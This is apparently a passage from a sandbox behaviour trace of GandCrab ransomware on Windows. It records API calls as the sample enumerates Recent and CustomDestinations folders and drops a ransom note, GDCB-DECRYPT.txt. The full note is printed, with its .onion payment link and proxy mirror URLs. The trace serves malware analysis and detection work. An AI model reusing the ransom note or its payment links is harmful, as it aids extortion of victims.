param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0054.860] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0054.860] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.860] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2=".") returned 1 [0054.860] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2="..") returned 1 [0054.860] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="bemI0XiX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk" [0054.860] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.860] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0054.860] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0054.860] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.861] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2=".") returned 1 [0054.861] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2="..") returned 1 [0054.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="brfsFSSqM P0x3ZmWLa7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk" [0054.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.861] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0054.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0054.861] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.861] lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2=".") returned 1 [0054.861] lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2="..") returned 1 [0054.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CH63OfWwkwX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk" [0054.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.861] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0054.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0054.861] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.861] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2=".") returned 1 [0054.861] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2="..") returned 1 [0054.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CHQmRNcGe_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk" [0054.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.862] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0054.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0054.862] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.862] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.862] lstrcmpW (lpString1="CustomDestinations", lpString2=".") returned 1 [0054.862] lstrcmpW (lpString1="CustomDestinations", lpString2="..") returned 1 [0054.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0054.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0054.862] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.862] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned 82 [0054.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" [0054.862] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b85f0 [0054.863] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.863] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.863] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.863] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.863] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.863] lstrcmpW (lpString1="28c8b86deab549a1.customDestinations-ms", lpString2=".") returned 1 [0054.863] lstrcmpW (lpString1="28c8b86deab549a1.customDestinations-ms", lpString2="..") returned 1 [0054.863] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="28c8b86deab549a1.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" [0054.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned 120 [0054.863] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.863] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.863] lstrcmpW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".") returned 1 [0054.863] lstrcmpW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="..") returned 1 [0054.863] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="590aee7bdd69b59b.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" [0054.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 120 [0054.864] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.864] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.864] lstrcmpW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".") returned 1 [0054.864] lstrcmpW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="..") returned 1 [0054.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="5d696d521de238c3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" [0054.864] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 120 [0054.864] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.864] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.864] lstrcmpW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".") returned 1 [0054.864] lstrcmpW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="..") returned 1 [0054.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0054.864] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 120 [0054.864] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.864] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.864] lstrcmpW (lpString1="969252ce11249fdd.customDestinations-ms", lpString2=".") returned 1 [0054.864] lstrcmpW (lpString1="969252ce11249fdd.customDestinations-ms", lpString2="..") returned 1 [0054.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="969252ce11249fdd.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms" [0054.864] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned 120 [0054.864] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.864] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.864] lstrcmpW (lpString1="f01b4d95cf55d32a.customDestinations-ms", lpString2=".") returned 1 [0054.864] lstrcmpW (lpString1="f01b4d95cf55d32a.customDestinations-ms", lpString2="..") returned 1 [0054.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="f01b4d95cf55d32a.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" [0054.864] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned 120 [0054.864] lstrcmpW (lpString1=".customDestinations-ms", lpString2=".sql") returned -1 [0054.864] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.864] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.864] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.865] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\\GDCB-DECRYPT.txt") returned 99 [0054.865] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.866] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.866] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.867] CloseHandle (hObject=0x500) returned 1 [0054.867] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.867] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned 82 [0054.867] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" [0054.867] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b85f0 [0054.867] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.867] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.867] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.867] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.867] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.867] lstrcmpW (lpString1="28c8b86deab549a1.customDestinations-ms", lpString2=".") returned 1 [0054.867] lstrcmpW (lpString1="28c8b86deab549a1.customDestinations-ms", lpString2="..") returned 1 [0054.867] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="28c8b86deab549a1.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" [0054.867] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.867] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned 120 [0054.867] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned 120 [0054.867] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.867] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.867] lstrcmpW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".") returned 1 [0054.867] lstrcmpW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="..") returned 1 [0054.868] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="590aee7bdd69b59b.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" [0054.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.868] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 120 [0054.868] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 120 [0054.868] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.868] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.868] lstrcmpW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2=".") returned 1 [0054.868] lstrcmpW (lpString1="5d696d521de238c3.customDestinations-ms", lpString2="..") returned 1 [0054.868] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="5d696d521de238c3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" [0054.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.868] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 120 [0054.868] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 120 [0054.868] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.868] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.868] lstrcmpW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".") returned 1 [0054.868] lstrcmpW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="..") returned 1 [0054.868] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0054.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.868] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 120 [0054.869] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 120 [0054.869] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.869] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.869] lstrcmpW (lpString1="969252ce11249fdd.customDestinations-ms", lpString2=".") returned 1 [0054.869] lstrcmpW (lpString1="969252ce11249fdd.customDestinations-ms", lpString2="..") returned 1 [0054.869] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="969252ce11249fdd.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms" [0054.869] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.869] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned 120 [0054.869] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned 120 [0054.869] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.869] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.869] lstrcmpW (lpString1="f01b4d95cf55d32a.customDestinations-ms", lpString2=".") returned 1 [0054.869] lstrcmpW (lpString1="f01b4d95cf55d32a.customDestinations-ms", lpString2="..") returned 1 [0054.869] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="f01b4d95cf55d32a.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" [0054.869] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.869] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned 120 [0054.869] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned 120 [0054.869] VirtualFree (lpAddress=0x2730000, 